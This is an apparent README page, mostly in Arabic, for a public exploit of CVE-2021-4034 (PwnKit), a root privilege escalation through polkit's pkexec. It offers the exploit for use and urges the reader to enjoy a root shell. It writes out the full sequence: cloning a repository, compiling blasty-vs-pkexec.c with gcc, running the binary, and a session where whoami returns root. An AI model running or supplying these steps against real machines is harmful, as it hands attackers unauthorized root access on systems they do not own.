null0b/cve-2021-4034استغلال لثغرة CVE-2021-4034 (PwnKit) يرفع الصلاحيات إلى صلاحيات الجذر عبر pkexec، مع توفير تنفيذ بسيط للصدفة.
يوم لاستغلال تصعيد الامتيازات في polkit
ما عليك سوى التشغيل والاستمتاع بـ ./blasty من شل الجذر الخاص بك.
الإشعار الأصلي من المؤلفين الحقيقيين هو -> هنا
إذا نجح الاستغلال، ستحصل على شل جذر فورًا:
(user@tecnokarita)-[~/Descargas] $> git clone https://github.com/T3cnokarita/CVE-2021-4034.git
(user@tecnokarita)-[~/Descargas/CVE-2021-4034] $> gcc -o blasty blasty-vs-pkexec.c
(user@tecnokarita)-[~/Descargas/CVE-2021-4034] $> ./blasty
# whoami
root
# exit